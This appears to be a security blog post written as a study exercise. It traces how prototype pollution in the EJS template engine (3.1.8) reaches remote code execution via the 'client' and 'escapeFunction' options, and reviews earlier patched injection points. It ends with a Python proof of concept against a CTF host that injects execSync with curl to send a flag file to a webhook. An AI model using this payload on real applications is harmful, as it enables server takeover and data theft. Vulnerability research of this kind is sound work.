Post

Prototype pollution can lead to EJS Engine RCE(English)

version 3.1.8

Prototype pollution can lead to EJS Engine RCE(English)

Before You Begin to Read

I am writing this post to study both English and Hacking.

Since English is not my first language, there might be some misunderstandings or incorrect expressions.

If you notice any mistakes that could be improved, I would greatly appreciate your feedback.

Thank you for reading!

What is EJS?


1
2
3
4
5
6
What is the "E" for? "Embedded?" Could be.
How about "Effective," "Elegant," or just "Easy"?
EJS is a simple templating language that lets you generate HTML markup with plain JavaScript.
No religiousness about how to organize things.
No reinvention of iteration and control-flow.
It's just plain JavaScript.

Source : https://ejs.co/

EJS is javascript template engine commony used for Node.js and Express environment.

1
2
3
app.get("/", (req, res) => {
  res.render("index", req.query);
});
1
2
3
<% if (user) { %>
    <h2><%= user.name %></h2>
<% } %>

Developers can easily build and develop their own project.

But this module has a vulnerability. An attacker can escalate the prototype pollution to achieve Remote Code Execution (RCE).

Let’s analyze the source code and write proof-of-concept (POC) exploits that work on the latest version.

Let’s analyze


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = { filename: filename };
  var data;
  var viewOpts;

  if (typeof arguments[arguments.length - 1] == "function") {
    cb = args.pop();
  }

  if (args.length) {
    data = args.shift();

    if (args.length) {
      utils.shallowCopy(opts, args.pop());
    } else {
      if (data.settings) {
        // prototype pollution
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings["view cache"]) {
          opts.cache = true;
        }

        viewOpts = data.settings["view options"];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  } else {
    data = utils.createNullProtoObjWherePossible();
  }

  return tryHandleCache(opts, data, cb);
};

We can see renderFile Function in node_modules/ejs/ejs.js line 442.

It copys data.settings['view options'] to opts and call tryHandleCache(opts, data, cb).

This means that attacker can overwrite opts by exploiting prototype pollution.

The call chain is as follows. tryHandleCache() -> handleCache() -> exports.compile()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
exports.compile = function compile(template, opts) {
  var templ;

  // v1 compat
  // 'scope' is 'context'
  // FIXME: Remove this in a future version
  if (opts && opts.scope) {
    if (!scopeOptionWarned){
      console.warn('`scope` option is deprecated and will be removed in EJS 3');
      scopeOptionWarned = true;
    }
    if (!opts.context) {
      opts.context = opts.scope;
    }
    delete opts.scope;
  }
  templ = new Template(template, opts);
  return templ.compile();
};

exports.compile will make new Template(template, opts).

available options
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
exports.Template = Template;

function Template(text, opts) {
  opts = opts || utils.createNullProtoObjWherePossible();
  var options = utils.createNullProtoObjWherePossible();
  this.templateText = text;
  this.mode = null;
  this.truncate = false;
  this.currentLine = 1;
  this.source = "";
  options.client = opts.client || false;
  options.escapeFunction =
    opts.escape || opts.escapeFunction || utils.escapeXML;
  options.compileDebug = opts.compileDebug !== false;
  options.debug = !!opts.debug;
  options.filename = opts.filename;
  options.openDelimiter =
    opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
  options.closeDelimiter =
    opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
  options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
  options.strict = opts.strict || false;
  options.context = opts.context;
  options.cache = opts.cache || false;
  options.rmWhitespace = opts.rmWhitespace;
  options.root = opts.root;
  options.includer = opts.includer;
  options.outputFunctionName = opts.outputFunctionName;
  options.localsName =
    opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
  options.views = opts.views;
  options.async = opts.async;
  options.destructuredLocals = opts.destructuredLocals;
  options.legacyInclude =
    typeof opts.legacyInclude != "undefined" ? !!opts.legacyInclude : true;
  
  this.opts = options;
  ...
}




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Template.prototype = {
  compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
    /** @type {string} */
    var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';
    ....
  }
};

Template.compile() will return the rendered template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
try {
  if (opts.async) {
    // Have to use generated function for this, since in envs without support,
    // it breaks in parsing
    try {
      ctor = (new Function('return (async function(){}).constructor;'))();
    }
    catch(e) {
      if (e instanceof SyntaxError) {
        throw new Error('This environment does not support async/await');
      }
      else {
        throw e;
      }
    }
  }
  else {
    ctor = Function;
  }
  fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}

And finally in line 654 ctor is set to Function (if opts.async is not set) and call ctor(..., src).

(src is alias of this.source. - line 634)

1
2
3
4
5
if (opts.compileDebug) {
  src = ... + this.source + ...;
} else {
  src = this.source;
}
1
2
3
4
5
6
if (opts.client) {
  src = "escapeFn = escapeFn || " + escapeFn.toString() + ";" + "\n" + src;
  if (opts.compileDebug) {
    src = "rethrow = rethrow || " + rethrow.toString() + ";" + "\n" + src;
  }
}

Since escapeFn.toString() is added to src, this allows arbitrary JavaScript code execution

EJS had similar vulnerabilities in the past, but they have been patched now.

Others (patched)


1
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

opts.outputFunctionName : patched.

1
var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';

opts.localsName : patched.

1
2
3
4
5
6
7
8
9
10
for (var i = 0; i < opts.destructuredLocals.length; i++) {
  var name = opts.destructuredLocals[i];
  if (!_JS_IDENTIFIER.test(name)) {
    throw new Error('destructuredLocals[' + i + '] is not a valid JS identifier.');
  }
  if (i > 0) {
    destructuring += ',\n  ';
  }
  destructuring += name + ' = __locals.' + name;
}

opts.destructuredLocals[] : patched.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';

...

if (opts.compileDebug) {
  src = 'var __line = 1' + '\n'
    + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
    + '  , __filename = ' + sanitizedFilename + ';' + '\n'
    + 'try {' + '\n'
    + this.source
    + '} catch (e) {' + '\n'
    + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
    + '}' + '\n';
}

We can’t use sanitizedFilename because it’s ejs file’s name.

How they have patched?


They have patched with if statement that tells value is valid JS Indentifier. (mdn Identifier)

1
2
3
4
5
6
7
8
9
10
var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
/* 
In JavaScript, identifiers can contain Unicode letters, $, _, and digits (0-9), but may not start with a digit. 
An identifier differs from a string in that a string is data, while an identifier is part of the code. 
In JavaScript, there is no way to convert identifiers to strings, but sometimes it is possible to parse strings into identifiers.
*/

if (!_JS_IDENTIFIER.test(...)) {
  throw new Error('...');
}

POC

ejs@3.1.8

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import sys

url = f"http://host3.dreamhack.games:17023"

webhook = "WEBHOOK"
params ='&'.join([
  'settings[view options][client]=true',
  'settings[view options][escapeFunction]=function(){process.mainModule.require("child_process").execSync("curl '+webhook +' -d $(cat ../../../flag)")}'
])

res = requests.get(f'{url}/?{params}')
print(res.text)

Conclusion


EJS’s author Matthew Eernisse take things as Out-of-Scope Vulnerabilities.

alt text

Therefore, we should use EJS module in a secure manner.

I aspire to discover and analyze similar vulnerabilities in the future.

Thanks for reading.

This post is licensed under CC BY 4.0 by the author.